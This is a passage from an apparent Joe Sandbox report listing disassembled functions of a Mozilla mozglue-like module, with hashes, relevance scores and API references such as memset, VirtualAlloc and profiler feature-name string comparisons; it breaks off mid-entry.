Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cc7a2ef15a71ddddc90dd85fe83ebbcea8de06ce68a6e7893d1ff32e00509b1a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 10B1E772E0061A8FDB14CF68CC907A9B7B6EF95314F1A42A9C549EB781D730E985CB90

Function 6C9D542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9D88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9D925C

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 5500b97effd87f839a53f5ec3485a5758551096bee4b98d62caf4844f2ae5e49
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 1CB1E572E0061A8FCB14CF58CC906ADB7B6EF95314F1A42A9C549EB785D730E989CB90

Function 6C9D50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9D8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9D925C

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 7209bfe219e37980f5c496360648875c623d40650a72435ca9e4d91eb2b98cb4
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: D8A1F672A005178FCB14CE68CC907ADB7B6EF95314F1A42B9C949EB785D730E989CB90

Function 6C9B77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9B7A93

Part of subcall function 6C985C50: GetTickCount64.KERNEL32 ref: 6C985D40
Part of subcall function 6C985C50: EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C985D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9B7AA1

Part of subcall function 6C985C50: __aulldiv.LIBCMT ref: 6C985DB4
Part of subcall function 6C985C50: LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C985DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9B7B31

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 8e98d7b456fd5e39b485117d49b3de9adfd02648bf538e5d25a2c7b0b366184a
Instruction ID: f8be5d61e2a9f030d7f08675d196bc2e66d0c5e35e9f264214a8de5c9a793c4f
Opcode Fuzzy Hash: 8e98d7b456fd5e39b485117d49b3de9adfd02648bf538e5d25a2c7b0b366184a
Instruction Fuzzy Hash: 28B1AF356087809BCB14CF24C49065FB7E2BFD9318F254A1CE99677B91DB70E90ACB92

Function 6C9A6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C9A6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A6E1E

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 273206f7c8d90829a06144a80fc5343d382ceb3a0be73cf25a91c53055643e4d
Instruction ID: 2a26b82c877f0ad9090e72f6f06b9436770b29fd3cfd7ab3e3b88798fe456d99
Opcode Fuzzy Hash: 273206f7c8d90829a06144a80fc5343d382ceb3a0be73cf25a91c53055643e4d
Instruction Fuzzy Hash: 80A17D746183819FDB14CF28C4807AEFBE6BFA8308F54491DE48A97751DB70E859CB92

Function 6C9CB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9CB720
RtlNtStatusToDosError.NTDLL ref: 6C9CB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C99FE3F,00000000,00000000,?,?,00000000,?,6C99FE3F), ref: 6C9CB760

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: b3d88ed26074cd1c7ace71d203a8643a5c279f0e5f308ba6e2cdcccf202015fa
Instruction ID: 5ccbcb7234e88fa190c0227e1180db810b75f157bce09acde5fc46ad17f78c82
Opcode Fuzzy Hash: b3d88ed26074cd1c7ace71d203a8643a5c279f0e5f308ba6e2cdcccf202015fa
Instruction Fuzzy Hash: 60F0C2B0A0420DAEEF019AA1CC85BEF77BD9B28719F105129E911719C0D778E6DCCE62

Function 6C984640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C984777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C985585, 6C9855A8, 6C9855C3, 6C985624

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 81c1fa7a5732645c98f05b394697559ca47b29cbc3234b4f825d5839910a390f
Instruction ID: 5eeea10bf034b3d52165101627eb5782c1ce013d210ee24af936e5b57450b8ec
Opcode Fuzzy Hash: 81c1fa7a5732645c98f05b394697559ca47b29cbc3234b4f825d5839910a390f
Instruction Fuzzy Hash: B9B27D71A067018FD708CF19C590715BBE6BFC5328B29CBADE46A8B6E5D771E841CB80

Function 6C9C85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9C8C7C
__aulldiv.LIBCMT ref: 6C9C8DD7

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: f12e46c384c623772f879381122d2482cffaa12877b7276e2bba0dd1ac5da4a6
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 0E326B71F0011A8BDF1CCE9CC9A17BEB7B6FB88300F15852AD506BB790DA349D458B96

Function 6C9CB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9703D4,?), ref: 6C9CB955
NtQueryVirtualMemory.NTDLL ref: 6C9CB9A5

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 82101772c390d49ff337f7b04df9e1fd0c4d330ec587c00af3e6140a85ec4989
Instruction ID: a63463f95096f1481e5ac80add819cacd44e6b423f884e7ef8a666fdd7909bf0
Opcode Fuzzy Hash: 82101772c390d49ff337f7b04df9e1fd0c4d330ec587c00af3e6140a85ec4989
Instruction Fuzzy Hash: 3D41B471F01219DFDF04CFA8D881ADEB7B9EF98354F14812AE505A7704DB31E8458B92

Function 6C9A5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C974A63,?,?), ref: 6C9A5F06

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 91d51bd0b99bf9ee7a06ef3d03d216e203ea299249f994d37043483ed490d7bc
Instruction ID: 4e5ce33fd76dea0a851c2f47ef242b0e6831ec76c8cb2e8f57f939aec24988a0
Opcode Fuzzy Hash: 91d51bd0b99bf9ee7a06ef3d03d216e203ea299249f994d37043483ed490d7bc
Instruction Fuzzy Hash: C4C1D275E01A099BCB04CF99C5906EEBBF6FF8A318F28415DD8556BB45D732A806CB80

Function 6C96DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4142c855acb8172d1abc02ea329f2f545da3fde3ca34d67b0cb44c0176768663
Instruction ID: ce2c7b58318e0b84884a9d16268ab1ba5e8373e1e8b1ffcea28e1bd6468ad357
Opcode Fuzzy Hash: 4142c855acb8172d1abc02ea329f2f545da3fde3ca34d67b0cb44c0176768663
Instruction Fuzzy Hash: D342A172A087518BD304CE3DC89175AB3E2BFC9364F198B2DE999A7BD0D734D9418B81

Function 6C9D76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 0ebc6e4fdf23630dc24123358578e6835c461ca9a55e0968987620edce2fe440
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 6332FA71E0061A8FCB14CF98C890AADF7B6FF88308F5585A9C549B7749D731A986CF90

Function 6C9D6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 129051dfbdf47109d22125346549a7b71f077f2eb3b97d5bd55c818db7750ebe
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 8F22D771E006198FCB14CF98C980AADF7B6FF88304F6585AAC949B7745D731A986CF90

Function 6C990512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3ad7e1e44205c6cbb74dce5697b1d3f2934bd4840bbf42ccf8143b5a0931f8f6
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 81221771E00619CFDB24CF98C890AADF7B6FF89304F588599C45AA7705D731A986CF80

Function 6C9DAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 104a1d4f600792dbecf740e3db9629e6f858578d94632c2e5315b444448896ab
Instruction ID: f647ee1b894d18281f36c2218e6d869d07e5fdf261373496c6fe6523c80de9b9
Opcode Fuzzy Hash: 104a1d4f600792dbecf740e3db9629e6f858578d94632c2e5315b444448896ab
Instruction Fuzzy Hash: 13F15A71608B458FD700CE28C8803AAB7E6AFD5318F16CA2DE4D4A7781EB74F955C792

Function 6C96C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 0f87789f549e13f194901cf071e96575f9c6e4bb450b7fed63516011928a5396
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 31A19371F0061A8BEF08CE69C8913AEB7F2AFC9354F198169E915E7785D7349C068BD0

Function 6C9A7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 25ce86b1801e4499871e3291e4349bcda2c9ee60c04ceca5766ccf145d11c721
Instruction ID: 185534ce8f289f252d1c5f603062cda4f284b50dcc17ff7a5b3d457368a920cd
Opcode Fuzzy Hash: 25ce86b1801e4499871e3291e4349bcda2c9ee60c04ceca5766ccf145d11c721
Instruction Fuzzy Hash: F4717C75E012198FCB18CFA8D8915EEBBB6FF89314F24816ED416AB744D731A906CF90

Function 6C9A58E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 951b0a1a16b43d55b0f83233c587641632b93214faccf13e7b62fda1c7327c38
Instruction ID: 5d4c60100473a5be67758edd216465f545d3783538c42449a8a5739c361d1882
Opcode Fuzzy Hash: 951b0a1a16b43d55b0f83233c587641632b93214faccf13e7b62fda1c7327c38
Instruction Fuzzy Hash: D1817C75A016199FCB04CFA8D880AEEBBF6FF89314F644269D411BB741D731E946CBA0

Function 6C9ACC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C97582D), ref: 6C9ACC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C97582D), ref: 6C9ACC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9DFE98,?,?,?,?,?,6C97582D), ref: 6C9ACC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C97582D), ref: 6C9ACCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C9ACCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C9ACCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C9ACCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C9ACCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C9ACD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C9ACD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C9ACD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C9ACDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C9ACDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C9ACDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C9ACDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C9ACE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C9ACE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C9ACE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C9ACE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C9ACE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C9ACE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C9ACE8A

Strings

mainthreadio, xrefs: 6C9ACC7C
processcpu, xrefs: 6C9ACE6E
seqstyle, xrefs: 6C9ACCE6
fileioall, xrefs: 6C9ACCA8
audiocallbacktracing, xrefs: 6C9ACDD4
cpuallthreads, xrefs: 6C9ACE16
noiostacks, xrefs: 6C9ACCBE
samplingallthreads, xrefs: 6C9ACE2C
stackwalk, xrefs: 6C9ACCF8
screenshots, xrefs: 6C9ACCD4
notimerresolutionchange, xrefs: 6C9ACE00
nostacksampling, xrefs: 6C9ACD7C
markersallthreads, xrefs: 6C9ACE42
java, xrefs: 6C9ACC37
ipcmessages, xrefs: 6C9ACDBE
jsallocations, xrefs: 6C9ACD0E
Unrecognized feature "%s"., xrefs: 6C9ACEA0
default, xrefs: 6C9ACC21
leaf, xrefs: 6C9ACC66
fileio, xrefs: 6C9ACC92
nativeallocations, xrefs: 6C9ACDA8
preferencereads, xrefs: 6C9ACD92
power, xrefs: 6C9ACE84
unregisteredthreads, xrefs: 6C9ACE58

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 2ce3fc2b65e1df1d1df83457439cb152784e19b7d9c163ee3055b682f8c20a91
Instruction ID: dab010c6254599a331f99b44fb7154cf41ec0d4256262a93ff03c197371ade1f
Opcode Fuzzy Hash: 2ce3fc2b65e1df1d1df83457439cb152784e19b7d9c163ee3055b682f8c20a91
Instruction Fuzzy Hash: 1051B8D1905A2612FB0132D52D11BAA7548EFB724AF11843AED0ABDF80FF06F61B45B7

Function 6C9747C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C974801
